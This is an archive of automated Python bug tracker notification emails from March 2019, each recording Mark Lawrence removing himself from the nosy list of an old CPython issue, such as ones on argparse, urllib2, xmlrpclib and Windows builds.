<https://bugs.python.org/issue10515>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:46:26 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:46:26 +0000
Subject: [issue14367] try/except block in ismethoddescriptor() in inspect.py, 
 so that pydoc works with pygame in Python 3.2
In-Reply-To: <1332132143.66.0.7093323157.issue14367@psf.upfronthosting.co.za>
Message-ID: <1552689986.47.0.036111145681.issue14367@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14367>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:47:00 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:47:00 +0000
Subject: [issue20482] smtplib.SMTP.sendmail: improve exception message
In-Reply-To: <1391308888.03.0.522502415802.issue20482@psf.upfronthosting.co.za>
Message-ID: <1552690020.78.0.194629953011.issue20482@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20482>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:47:29 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:47:29 +0000
Subject: [issue15178] Doctest should handle situations when test files are not
 readable
In-Reply-To: <1340622105.45.0.77795142646.issue15178@psf.upfronthosting.co.za>
Message-ID: <1552690049.27.0.632814120391.issue15178@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15178>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:47:55 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:47:55 +0000
Subject: [issue16786] argparse doesn't offer localization interface for
 "version" action
In-Reply-To: <1356527998.28.0.00679479762722.issue16786@psf.upfronthosting.co.za>
Message-ID: <1552690075.43.0.46599196967.issue16786@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16786>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:48:48 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:48:48 +0000
Subject: [issue6820] Redefinition of HAVE_STRFTIME can cause compiler errors.
In-Reply-To: <1251884386.05.0.339554390546.issue6820@psf.upfronthosting.co.za>
Message-ID: <1552690128.76.0.576859077752.issue6820@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6820>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:50:01 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:50:01 +0000
Subject: [issue10641] kill_python sometimes fails to kill processes on
 buildbots
In-Reply-To: <1291680941.62.0.188379478155.issue10641@psf.upfronthosting.co.za>
Message-ID: <1552690201.99.0.398846548981.issue10641@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10641>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:50:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:50:34 +0000
Subject: [issue1559298] test_popen fails on Windows if installed to "Program
 Files"
Message-ID: <1552690234.27.0.119201652905.issue1559298@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1559298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:51:20 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:51:20 +0000
Subject: [issue11717] conflicting definition of ssize_t in pyconfig.h
In-Reply-To: <1301443864.94.0.799403342642.issue11717@psf.upfronthosting.co.za>
Message-ID: <1552690280.99.0.997129452331.issue11717@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11717>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:55:14 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:55:14 +0000
Subject: [issue5739] Language reference is ambiguous regarding next() method
 lookup
In-Reply-To: <1239497907.46.0.481458734082.issue5739@psf.upfronthosting.co.za>
Message-ID: <1552690514.38.0.0714565046931.issue5739@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue5739>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:55:47 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:55:47 +0000
Subject: [issue20575] Type handling policy for the statistics module
In-Reply-To: <1391952583.31.0.349942146298.issue20575@psf.upfronthosting.co.za>
Message-ID: <1552690547.68.0.434205363043.issue20575@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20575>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:56:18 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:56:18 +0000
Subject: [issue15381] Optimize BytesIO to do  less reallocations when written, 
 similarly to StringIO
In-Reply-To: <1342527166.53.0.694574948468.issue15381@psf.upfronthosting.co.za>
Message-ID: <1552690578.78.0.0562702144657.issue15381@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15381>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:59:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:59:34 +0000
Subject: [issue12639] msilib Directory.start_component() fails if keyfile is
 not None
In-Reply-To: <1311611007.28.0.321431208072.issue12639@psf.upfronthosting.co.za>
Message-ID: <1552690774.31.0.220283628076.issue12639@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12639>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:03:09 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:03:09 +0000
Subject: [issue22794] missing test for issue 22457 regression commit
In-Reply-To: <1415113437.67.0.13245212924.issue22794@psf.upfronthosting.co.za>
Message-ID: <1552690989.09.0.185663684489.issue22794@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22794>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:04:31 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:04:31 +0000
Subject: [issue14301] xmlrpc client transport and threading problem
In-Reply-To: <1331735658.17.0.761953257498.issue14301@psf.upfronthosting.co.za>
Message-ID: <1552691071.15.0.595173401305.issue14301@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14301>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:04:53 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:04:53 +0000
Subject: [issue14414] xmlrpclib leaves connection in broken state if server
 returns error without content-length
In-Reply-To: <1332778465.08.0.819519448389.issue14414@psf.upfronthosting.co.za>
Message-ID: <1552691093.92.0.0945869391041.issue14414@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14414>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:05:29 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:05:29 +0000
Subject: [issue8843] urllib2 Digest Authorization uri must match request URI
In-Reply-To: <1275046398.81.0.158910525846.issue8843@psf.upfronthosting.co.za>
Message-ID: <1552691129.03.0.338255569264.issue8843@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8843>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:06:09 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:06:09 +0000
Subject: [issue12455] urllib2 forces title() on header names,
 breaking some requests
In-Reply-To: <1309461818.92.0.299415077626.issue12455@psf.upfronthosting.co.za>
Message-ID: <1552691169.66.0.564545375979.issue12455@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12455>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:07:05 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:07:05 +0000
Subject: [issue19433] Define PY_UINT64_T on Windows 32bit
In-Reply-To: <1383054622.8.0.294038814234.issue19433@psf.upfronthosting.co.za>
Message-ID: <1552691225.99.0.744703451556.issue19433@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19433>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:07:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:07:33 +0000
Subject: [issue20088] locale.getlocale() fails if locale name doesn't include
 encoding
In-Reply-To: <1388223842.98.0.521951916148.issue20088@psf.upfronthosting.co.za>
Message-ID: <1552691253.82.0.49151290775.issue20088@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20088>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:08:00 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:08:00 +0000
Subject: [issue20391] windows python launcher should support explicit 64-bit
 version
In-Reply-To: <1390666697.34.0.8179359034.issue20391@psf.upfronthosting.co.za>
Message-ID: <1552691280.97.0.301282567112.issue20391@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20391>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:08:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:08:33 +0000
Subject: [issue23449] Fatal errors rebuilding 3.5 from Visual Studio Windows
 8.1 64 bit
In-Reply-To: <1423696269.22.0.462965146464.issue23449@psf.upfronthosting.co.za>
Message-ID: <1552691313.91.0.158890666286.issue23449@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23449>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:08:59 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:08:59 +0000
Subject: [issue7936] sys.argv contains only scriptname
In-Reply-To: <1266260840.45.0.891652447218.issue7936@psf.upfronthosting.co.za>
Message-ID: <1552691339.87.0.0583034026249.issue7936@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7936>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:09:37 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:09:37 +0000
Subject: [issue23311] Update PC/example_nt and extending/windows.rst
In-Reply-To: <1422121201.94.0.918332856849.issue23311@psf.upfronthosting.co.za>
Message-ID: <1552691377.25.0.478659414161.issue23311@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23311>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:10:05 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:10:05 +0000
Subject: [issue13299] namedtuple row factory for sqlite3
In-Reply-To: <1320021145.59.0.53370875256.issue13299@psf.upfronthosting.co.za>
Message-ID: <1552691405.88.0.873777806667.issue13299@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:11:28 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:11:28 +0000
Subject: [issue15707] PEP 3121, 384 Refactoring applied to signal module
In-Reply-To: <1345151967.47.0.247832517362.issue15707@psf.upfronthosting.co.za>
Message-ID: <1552691488.46.0.959435878866.issue15707@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15707>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:11:55 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:11:55 +0000
Subject: [issue8535] passing optimization flags to the linker required
 for	builds with gcc -flto
In-Reply-To: <1272279643.52.0.447435684789.issue8535@psf.upfronthosting.co.za>
Message-ID: <1552691515.7.0.0300594810206.issue8535@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8535>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:13:01 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:13:01 +0000
Subject: [issue7057] tkinter doc: more 3.x updates
In-Reply-To: <1254697168.63.0.205098696566.issue7057@psf.upfronthosting.co.za>
Message-ID: <1552691581.87.0.719823784095.issue7057@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7057>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:13:27 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:13:27 +0000
Subject: [issue14017] Make it easy to create a new TextIOWrapper based on an
 existing
In-Reply-To: <1329263373.63.0.201487376726.issue14017@psf.upfronthosting.co.za>
Message-ID: <1552691607.32.0.38975730031.issue14017@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14017>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:13:51 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:13:51 +0000
Subject: [issue15680] PEP 3121 refactoring applied to audioop module
In-Reply-To: <1345105315.06.0.844994480517.issue15680@psf.upfronthosting.co.za>
Message-ID: <1552691631.33.0.175954190533.issue15680@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15680>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:14:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:14:34 +0000
Subject: [issue21095] EmailMessage should support Header objects
In-Reply-To: <1396064006.24.0.869969435717.issue21095@psf.upfronthosting.co.za>
Message-ID: <1552691674.61.0.415327122147.issue21095@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21095>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:14:57 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:14:57 +0000
Subject: [issue10118] Tkinter does not find font
In-Reply-To: <1287192630.89.0.924571330725.issue10118@psf.upfronthosting.co.za>
Message-ID: <1552691697.5.0.0454611842778.issue10118@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10118>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:15:28 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:15:28 +0000
Subject: [issue14759] BSDDB license missing from liscense page in 2.7.
In-Reply-To: <1336525700.66.0.626657341837.issue14759@psf.upfronthosting.co.za>
Message-ID: <1552691728.78.0.91427893616.issue14759@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14759>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:16:35 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:16:35 +0000
Subject: [issue8029] bug in 2to3 dealing with "print FOO,
 " followed by "sys.stdout.write('')"
In-Reply-To: <1267312123.13.0.138693680363.issue8029@psf.upfronthosting.co.za>
Message-ID: <1552691795.35.0.129115624489.issue8029@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8029>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:16:59 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:16:59 +0000
Subject: [issue9008] CGIHTTPServer support for arbitrary CGI scripts
In-Reply-To: <1276683224.45.0.0857224786266.issue9008@psf.upfronthosting.co.za>
Message-ID: <1552691819.32.0.105476554393.issue9008@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9008>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:17:25 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:17:25 +0000
Subject: [issue11056] 2to3 fails for inner __metaclass__ class definition
In-Reply-To: <1296295646.41.0.555218890155.issue11056@psf.upfronthosting.co.za>
Message-ID: <1552691845.26.0.704578072765.issue11056@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11056>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:18:47 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:18:47 +0000
Subject: [issue5877] Add a function for updating URL query parameters
In-Reply-To: <1241011935.05.0.388851858626.issue5877@psf.upfronthosting.co.za>
Message-ID: <1552691927.0.0.683844021624.issue5877@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue5877>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:19:19 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:19:19 +0000
Subject: [issue8822] datetime naive and aware types should have a well-defined
 definition that can be cross-referenced
In-Reply-To: <1274875647.87.0.219158529549.issue8822@psf.upfronthosting.co.za>
Message-ID: <1552691959.34.0.197006365141.issue8822@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8822>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:19:53 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:19:53 +0000
Subject: [issue11100] test_fdopen: close failed in file object destructor
In-Reply-To: <1296664919.37.0.123111264864.issue11100@psf.upfronthosting.co.za>
Message-ID: <1552691993.41.0.500578821445.issue11100@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11100>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:20:47 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:20:47 +0000
Subject: [issue6682] Default traceback does not handle PEP302 loaded modules
In-Reply-To: <1250000791.92.0.10910978351.issue6682@psf.upfronthosting.co.za>
Message-ID: <1552692047.94.0.0472833084634.issue6682@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6682>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:22:07 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:22:07 +0000
Subject: [issue10582] PyErr_PrintEx exits silently when passed SystemExit
 exception
In-Reply-To: <1291056392.92.0.0604779345933.issue10582@psf.upfronthosting.co.za>
Message-ID: <1552692127.3.0.866238950703.issue10582@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10582>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:22:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:22:34 +0000
Subject: [issue9499] Python C/API Execution namespace undocumented. (patch
 included)
In-Reply-To: <1280873534.19.0.920563075759.issue9499@psf.upfronthosting.co.za>
Message-ID: <1552692154.87.0.588962181342.issue9499@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9499>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:23:07 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:23:07 +0000
Subject: [issue8997] Write documentation for codecs.readbuffer_encode()
In-Reply-To: <1276543120.6.0.338687874276.issue8997@psf.upfronthosting.co.za>
Message-ID: <1552692187.65.0.687085702868.issue8997@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8997>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:23:29 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:23:29 +0000
Subject: [issue9714] urllib2 digest authentication doesn't work when
 connecting to a Catalyst server.
In-Reply-To: <1283169256.94.0.0442479793498.issue9714@psf.upfronthosting.co.za>
Message-ID: <1552692209.86.0.577634885615.issue9714@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9714>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:23:52 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:23:52 +0000
Subject: [issue9976] Make TestCase._formatMessage public
In-Reply-To: <1285704884.2.0.185747132173.issue9976@psf.upfronthosting.co.za>
Message-ID: <1552692232.06.0.340364300611.issue9976@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9976>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:24:30 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:24:30 +0000
Subject: [issue11142] xmlrpclib.ServerProxy with verbosity produces bad output
In-Reply-To: <1297100019.07.0.0200011843084.issue11142@psf.upfronthosting.co.za>
Message-ID: <1552692270.07.0.823931225395.issue11142@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11142>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:24:54 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:24:54 +0000
Subject: [issue12144] cookielib.CookieJar.make_cookies fails for cookies with
 'expires' set
In-Reply-To: <1306033124.86.0.836605602237.issue12144@psf.upfronthosting.co.za>
Message-ID: <1552692294.84.0.299168978058.issue12144@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12144>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:25:22 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:25:22 +0000
Subject: [issue11430] can't change the sizeof a Structure that doesn't own its
 buffer
In-Reply-To: <1299485555.71.0.597497356789.issue11430@psf.upfronthosting.co.za>
Message-ID: <1552692322.5.0.0272882952149.issue11430@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11430>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:26:45 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:26:45 +0000
Subject: [issue11511] Proposal for exposing proxy bypass settings in
 ProxyHandler
In-Reply-To: <1300140494.17.0.372378902251.issue11511@psf.upfronthosting.co.za>
Message-ID: <1552692405.45.0.714688983408.issue11511@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11511>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:27:11 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:27:11 +0000
Subject: [issue11580] Add width and precision formatters to
 PyBytes_FromFormatV()
In-Reply-To: <1300336790.91.0.426926031366.issue11580@psf.upfronthosting.co.za>
Message-ID: <1552692431.49.0.279923941008.issue11580@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11580>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:29:10 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:29:10 +0000
Subject: [issue11601] UnixCCompiler always uses compiler_so, not compiler
In-Reply-To: <1300475054.67.0.598192564175.issue11601@psf.upfronthosting.co.za>
Message-ID: <1552692550.37.0.920000319846.issue11601@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11601>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:30:16 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:30:16 +0000
Subject: [issue1571878] Improvements to socket module exceptions
Message-ID: <1552692616.62.0.165463535997.issue1571878@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1571878>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:30:51 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:30:51 +0000
Subject: [issue10595] Adding a syslog.conf reader in syslog
In-Reply-To: <1291203161.89.0.870759954789.issue10595@psf.upfronthosting.co.za>
Message-ID: <1552692651.1.0.417484082162.issue10595@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10595>
_______________________________________

From report at bugs.python.org  Fri Mar 15 19:31:42 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 23:31:42 +0000
Subject: [issue1576313] os.execvp[e] on win32 fails for current directory
Message-ID: <1552692702.21.0.530173517751.issue1576313@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
